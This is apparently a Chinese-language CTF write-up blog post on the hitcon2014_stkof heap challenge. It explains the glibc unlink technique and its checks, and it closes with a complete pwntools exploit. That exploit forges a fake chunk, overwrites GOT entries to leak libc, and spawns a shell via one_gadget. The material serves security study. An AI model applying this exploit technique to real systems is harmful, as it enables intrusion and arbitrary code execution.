Limu
Articles10
Tags3
Categories0
hitcon2014_stkof

hitcon2014_stkof

Unlink机制研究

分析题目

首先题目是一个使用libc-2.23.so的64位程序,程序没有开启GOT表的保护,修改加载的ld和libc后,试着运行程序,但是无显示,通过源码大致判断了下程序功能,是一个经典的堆选项的题目。

sktof基本情况

在向chunk写入的函数中我们可以看到,存在任意长度写入的问题,我们可以任意写入内容溢出至下一个chunk。

基本思路

程序在最开始的时候没有设置IO缓冲区,所以会在第一个chunk前后申请两个chunk作为缓冲区,我们可以申请一个先堆快,释放两个缓冲区的内容。

在程序中,存在一个全局变量在0x00602140,储存了所有申请chunk的data区域的地址,如果可以在这个位置伪造一个fake_chunk,我们就可以得到一个可以自由控制的指针,改变程序的运行。

然后,我们可以通过改变free函数的got表的内容,泄露puts函数的地址,得到libc的基地址,然后改写free函数plt表的内容为one_gadget,从而获取shell。

出现的问题以及解决方案

1、程序输入满字节的情况下,会出现先显示OK后接连打出一个FAIL的内容,但是不影响整体的程序进程,在接收puts泄露出的函数地址时,应该recvuntil到”FAIL\n”的位置,这样才能得到真正的puts的地址。

2、关于unlink机制:

利用条件: 存在UAF

unlink源码(向后合并触发):

1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

当然,对于最开始的unlink机制,是不存在校验的问题,可以通过定义bck,fwd的内容进行任意的修改,现在的unlink机制,加入了校验的内容,源码是:

1
2
3
4
5
6
7
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

// 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \

所以这样的话,我们是没有办法直接去做任意的修改,但是我们依旧可以通过控制fd和bk的值,修改特定位置的内容,控制某个指针,来实现后续的操作。

利用方式:(1)申请两个chunk,修改第一个chunk的内容为:0x0,伪造本chunk的大小(一般是本chunk-0x10),fd(chunklist+0x18-0x18),bk(chunklist+0x18-0x10),pattern_code,pre_size(伪造本chunk的大小-1,去掉pre_inuse值) , 下一个chunk的size-1(即修改pre_inuse值为0)。

(2)free第二个chunk,触发unlink,可以修改在chunklist的位置修改成fd的内容,然后可以利用edit一类的函数,对任意的地址进行修改。

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
##Author by: limu
##Terminal: i3
##Tools: pwntools
##Usage: python3 exp.py [local or remote] [yes or no] ip port

from pwn import *
#from pwnlib import *
from LibcSearcher import *
import sys
context.log_level = "debug"
context.terminal = ['i3-sensible-terminal',"-e"]
context.arch = 'amd64'
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

if sys.argv[1] == 'l':
p = process("./pwn")

elif sys.argv[1] == 'r':
p = remote(sys.argv[3],sys.argv[4])

else:
print("wrong")
sys.exit()

##启动调试
if sys.argv[2] == 'y':
gdb.attach(p,gdbscript='break main')
pause()

def add(size):
p.sendline(b'1')
p.sendline(str(size).encode())
p.recvuntil(b'OK')

def fill(index,content):
p.sendline(b'2')
p.sendline(str(index).encode())
p.sendline(str(len(content)).encode())
p.sendline(content)
p.recvuntil(b'OK')

def free(index):
p.sendline(b'3')
p.sendline(str(index).encode())


def dump(index):
p.sendline(b'4')
p.sendline(str(index).encode())
p.recvuntil(b'OK')

head_addr = 0x00602140
add(0x100)
add(0x30)
add(0x80)
add(0x80)

payload = p64(0x0)+p64(0x30)+p64(head_addr-0x8)+p64(head_addr)+p64(0x0)+p64(0x0)+p64(0x30)+p64(0x90)
fill(2,payload)
free(3)
p.recvuntil(b'OK')

payload2 = p64(0x0) * 2 + p64(elf.got['free']) + p64(elf.got['puts'])
fill(2,payload2)
payload3 = p64(elf.plt['puts'])
fill(1,payload3)
free(2)

p.recvuntil(b'FAIL\n')
puts_addr = p.recvuntil(b'OK\n', drop=True).ljust(8, b'\x00')
puts_addr = u64(puts_addr)

base = puts_addr - libc.symbols['puts']
one = base + 0xf0897

fill(1,p64(one))
free(4)

p.interactive()
Author:Limu
Link:https://limu.ltd/2023/03/16/hitcon2014-stkof/
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可
×